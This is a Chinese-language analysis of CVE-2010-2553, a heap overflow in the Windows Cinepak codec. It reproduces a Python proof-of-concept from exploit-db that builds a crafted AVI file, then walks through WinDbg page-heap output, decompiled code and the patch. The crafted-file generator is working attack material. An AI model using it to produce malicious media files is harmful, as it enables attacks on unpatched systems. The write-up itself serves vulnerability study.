背景

CVE 2010-2553漏洞,也称为MicrosoftWindows Cinepak 编码解码器解压缩漏洞,影响的操作系统版本有:Microsoft Windows XP SP2和SP3,WindowsVista SP1和SP2,以及Windows 7。

漏洞原因在于Cinepak 编码解码器对媒体文件解压缩时代码控制不恰当,可导致远程代码执行。如果用户打开特制的媒体文件,此漏洞可能允许执行代码。如果用户使用管理用户权限登录,成功利用此漏洞的攻击者便可完全控制受影响的系统。

漏洞利用wmplay.exe,而wmplay.exe这个播放器在国内很少有人使用,如果被攻击者使用了第三方的视频播放软件,很难攻击成功,这可能也是这一漏洞不被分析重视的一大原因。

在exploit-db找到老外的poc

'''
__ __ ____ _ _ ____
| \/ |/ __ \ /\ | | | | _ \
| \ / | | | | / \ | | | | |_) |
| |\/| | | | |/ /\ \| | | | _ <
| | | | |__| / ____ \ |__| | |_) |
|_| |_|\____/_/ \_\____/|____/
http://www.exploit-db.com/moaub-26-microsoft-cinepak-codec-cvdecompress-heap-overflow-ms10-055/
'''
'''
Title : Microsoft Cinepak Codec CVDecompress Heap Overflow
Version : iccvid.dll XP SP3
Analysis : http://www.abysssec.com
Vendor : http://www.microsoft.com
Impact : High
Contact : shahin [at] abysssec.com , info [at] abysssec.com
Twitter : @abysssec
CVE : CVE-2010-2553
MOAUB Number :
'''
import sys
def main():
aviHeaders = '\x52\x49\x46\x46\x58\x01\x00\x00\x41\x56\x49\x20\x4C\x49\x53\x54\xC8\x00\x00\x00\x68\x64\x72\x6C\x61\x76\x69\x68\x38\x00\x00\x00\xA0\x86\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x01\x00\x00\x4E\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x60\x01\x00\x00\x20\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4C\x49\x53\x54\x7C\x00\x00\x00\x73\x74\x72\x6C\x73\x74\x72\x68\x38\x00\x00\x00\x76\x69\x64\x73\x63\x76\x69\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE8\x03\x00\x00\x10\x27\x00\x00\x00\x00\x00\x00\x4E\x00\x00\x00\x20\x74\x00\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x60\x01\x20\x01\x73\x74\x72\x66\x28\x00\x00\x00\x28\x00\x00\x00\x50\x01\x00\x00\x20\x01\x00\x00\x01\x00\x18\x00\x63\x76\x69\x64\x84\x8D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
padding = '\x4A\x55\x4E\x4B\x00\x00\x00\x00\x4A\x55\x4E\x4B\x00\x00\x00\x00'
movi_tag = '\x4C\x49\x53\x54\x5C\x00\x00\x00\x6D\x6F\x76\x69\x30\x30\x64\x63\x10\x00\x00\x00'
cinepak_codec_data1 = '\x00\x00\x00\x68\x01\x60\x01\x20'
number_of_coded_strips = '\x00\x10'
cinepak_codec_data2 = '\x10\x00\x00\x10\x00\x00\x00\x00\x00\x60\x01\x60\x20\x00\x00\x00\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x00'
idx_tag = '\x69\x64\x78\x31\x10\x00\x00\x00\x30\x30\x64\x63\x10\x00\x00\x00\x04\x00\x00\x00\x68\x00\x00\x00'
avifile = open('poc.avi', 'wb+')
avifile.write(aviHeaders)
avifile.write(padding)
avifile.write(movi_tag)
avifile.write(cinepak_codec_data1)
avifile.write(number_of_coded_strips)
avifile.write(cinepak_codec_data2)
avifile.write(idx_tag)
avifile.close()
print '[-] AVI file generated'
if __name__ == '__main__':
main()

生成poc.avi后用wmplayer打开,直接崩溃。附加上windbg打开

看起来是iccvid.dll中iccvid!CVDecompress+0x11e出现的漏洞。

因为是堆溢出,我们这里开启页堆!gflag +hpa,页堆的机制就是在堆的末尾增加一个栅格,属性是不可访问。如果发生了堆溢出则会访问栅格造成异常。

发现edi就是页堆,即发生了堆溢出。

看看目的堆edi有多大

0:014> !heap -p -a edi
address 075e7000 found in
_DPH_HEAP_ROOT @ a1000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
7b92c38: 75e5000 6000 - 75e4000 8000
7c938f01 ntdll!RtlAllocateHeap+0x00000e64
7c809a6f kernel32!LocalAlloc+0x00000058
73b724a8 iccvid!CVDecompressBegin+0x00000080
73b7c6a0 iccvid!DecompressBegin+0x00000214
73b766a1 iccvid!DriverProc+0x00000198
73b41938 MSVFW32!ICSendMessage+0x0000002b
7cf8df19 quartz!CAVIDec::StartStreaming+0x00000278
7cf8d164 quartz!CTransformFilter::Pause+0x00000060
7cf8d0f2 quartz!CAVIDec::Pause+0x0000002f
7cf8cf69 quartz!CFilterGraph::Pause+0x00000107
7cf8ce93 quartz!CFGControl::Cue+0x00000032
7cfa4584 quartz!CFGControl::CueThenRun+0x00000012
7cfa44d7 quartz!CFGControl::CImplMediaControl::Run+0x0000002b
491be351 wmp!CWMPGraph::InternalPlay+0x00000039
491be300 wmp!CWMPGraph::Play+0x000000a8
4917ff31 wmp!CWMPControl::InternalPlay+0x0000015c

可以看出这个堆有0x6000,此时ecx=0x800,所以每次复制0x800 * 4 = 0x2000个字节。然后我们看看这个函数的伪代码。

do
{
if ( v29 < 0x16 )
break;
HIBYTE(v15) = *(_BYTE *)(v14 + 1);
LOBYTE(v15) = *(_BYTE *)(v14 + 2);
v31 = *(_BYTE *)(v14 + 3) | (v15 << 8);
if ( v29 < v31 )
break;
if ( *(_BYTE *)v14 == 16 || *(_BYTE *)v14 == 17 )
{
if ( ULongSub(v31, 12, &a1) < 0 )
goto LABEL_33;
HIBYTE(v16) = *(_BYTE *)(v14 + 8);
HIBYTE(v17) = *(_BYTE *)(v14 + 4);
LOBYTE(v16) = *(_BYTE *)(v14 + 9);
LOBYTE(v17) = *(_BYTE *)(v14 + 5);
v18 = v16 - v17;
LOWORD(v18) = *(_WORD *)(v7 + 46) * v18;
a2 = v18;
if ( v32 && !BYTE3(TotalLen) && *(_BYTE *)v14 == 17 )
{
qmemcpy(
(void *)(*(_DWORD *)(v7 + 28) + v32),
(const void *)(*(_DWORD *)(v7 + 28) + v32 - 0x2000),
0x2000u); // vuln here
v14 = v26;
}
v19 = v30 + 12;
v20 = v14 + 12;
*(_DWORD *)(v7 + 56) = v32 + *(_DWORD *)(v7 + 32);
v27 = v14 + 12;
*(_DWORD *)(v7 + 60) = a7;
while ( a1 >= 4 )
{
HIBYTE(v21) = *(_BYTE *)(v20 + 1);
LOBYTE(v21) = *(_BYTE *)(v20 + 2);
v22 = *(_BYTE *)(v20 + 3) | (v21 << 8);
v24 = v22;
if ( a1 < v22 )
break;
switch ( *(_BYTE *)v20 )
{
case 0x20:
case 0x21:
case 0x24:
case 0x25:
(*(void (__stdcall **)(int, _DWORD, _DWORD, _DWORD))v7)(
v19,
*(_DWORD *)(v7 + 56),
*(_DWORD *)(v7 + 52),
*(_DWORD *)(v7 + 48));
break;
case 0x22:
case 0x23:
case 0x26:
case 0x27:
(*(void (__stdcall **)(int, int, _DWORD, _DWORD))(v7 + 4))(
v19,
*(_DWORD *)(v7 + 56) + 4096,
*(_DWORD *)(v7 + 52),
*(_DWORD *)(v7 + 48));
break;
case 0x30:
(*(void (__stdcall **)(unsigned int, int, int, int, int, int, int))(v7 + 8))(
v7,
v19 + 4,
v22 - 4,
a4,
a5,
a6,
a2);
break;
case 0x31:
(*(void (__stdcall **)(unsigned int, int, int, int, int, int, int))(v7 + 16))(
v7,
v19 + 4,
v22 - 4,
a4,
a5,
a6,
a2);
break;
case 0x32:
(*(void (__stdcall **)(unsigned int, int, int, int, int, int, int))(v7 + 12))(
v7,
v19 + 4,
v22 - 4,
a4,
a5,
a6,
a2);
break;
default:
break;
}
v20 = v24 + v27;
v23 = 1;
v19 += v24;
v27 += v24;
if ( v24 > 1 )
v23 = v24;
a1 -= v23;
}
a6 += a7 * (signed __int16)a2;
++idx;
v32 += 0x2000;
}
v30 += v31;
v29 -= v31;
v14 += v31;
v26 = v14;
}
while ( idx < CodedStripNum );

可以看出,每次循环后,会将edi的地址增加0x2000,注意v32这个变量,第一次其实并没有复制,因为第一次v32为0,也就是说qmemcpy复制两次就会导致堆溢出。

分析一下PoC,根据CVID格式分析(https://multimedia.cx/mirror/cinepak.txt)

flag = 0x00
cvid长度 = 0x000068
coded frame宽度 = 0x1060
coded frame高度 = 0x1020
coded strip数量 = 0x0010

可以看出coded strip数量应该是小于3即可防止多次拷贝导致堆溢出。

patchdiff

patchdiff下发现pathc了这个函数,看看patch在哪

可以看出,对比了coded strip是否大于3,大于3则退出。